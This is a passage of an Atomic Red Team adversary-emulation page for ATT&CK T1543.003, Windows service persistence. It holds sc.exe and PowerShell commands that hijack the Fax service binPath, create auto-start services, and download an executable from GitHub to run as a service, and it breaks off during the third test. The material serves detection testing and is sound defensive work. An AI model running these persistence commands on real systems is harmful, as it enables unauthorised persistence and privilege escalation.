# T1543.003 - Create or Modify System Process: Windows Service

## Description from ATT&CK

> Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
> 
> Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.
> 
> Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)
> 
> Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).
> 
> To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)

[Source](https://attack.mitre.org/techniques/T1543/003)

## Atomic Tests

- [Atomic Test #1: Modify Fax service to run PowerShell](#atomic-test-1-modify-fax-service-to-run-powershell)
- [Atomic Test #2: Service Installation CMD](#atomic-test-2-service-installation-cmd)
- [Atomic Test #3: Service Installation PowerShell](#atomic-test-3-service-installation-powershell)
- [Atomic Test #4: TinyTurla backdoor service w64time](#atomic-test-4-tinyturla-backdoor-service-w64time)
- [Atomic Test #5: Remote Service Installation CMD](#atomic-test-5-remote-service-installation-cmd)
- [Atomic Test #6: Modify Service to Run Arbitrary Binary (Powershell)](#atomic-test-6-modify-service-to-run-arbitrary-binary-powershell)

### Atomic Test #1: Modify Fax service to run PowerShell

This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.

**Supported Platforms:** Windows

**auto_generated_guid:** `ed366cde-7d12-49df-a[PII_REDACTED]70b9f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| service_name | The name of the service that will be modified | string | Fax|
| service_binpath | The default value for the binary path of the service | string | C:&#92;WINDOWS&#92;system32&#92;fxssvc.exe|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}
```

#### Cleanup Commands

```cmd
sc config #{service_name} binPath= "#{service_binpath}" >nul 2>&1
```
### Atomic Test #2: Service Installation CMD

Download an executable from github and start it as a service.
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.

**Supported Platforms:** Windows

**auto_generated_guid:** `981e2942-e433-44e9-afc1-8c957a1496b6`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_path | Name of the service binary, include path. | path | PathToAtomicsFolder&#92;T1543.003&#92;bin&#92;AtomicService.exe|
| service_type | Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare | string | Own|
| startup_type | Service start method. May be boot|system|auto|demand|disabled|delayed-auto | string | auto|
| service_name | Name of the Service | string | AtomicTestService_CMD|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type}  type=#{service_type}
sc.exe start #{service_name}
```

#### Cleanup Commands

```cmd
sc.exe stop #{service_name} >nul 2>&1
sc.exe delete #{service_name} >nul 2>&1
```

#### Dependencies: Run with `powershell`!

##### Description: Service binary must exist on disk at specified location (#{binary_path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{binary_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
```

### Atomic Test #3: Service Installation PowerShell

Installs A Local Service via PowerShell.
Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `491a4af6-a521-4b74-b23b-f7b3f1ee9e77`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|------------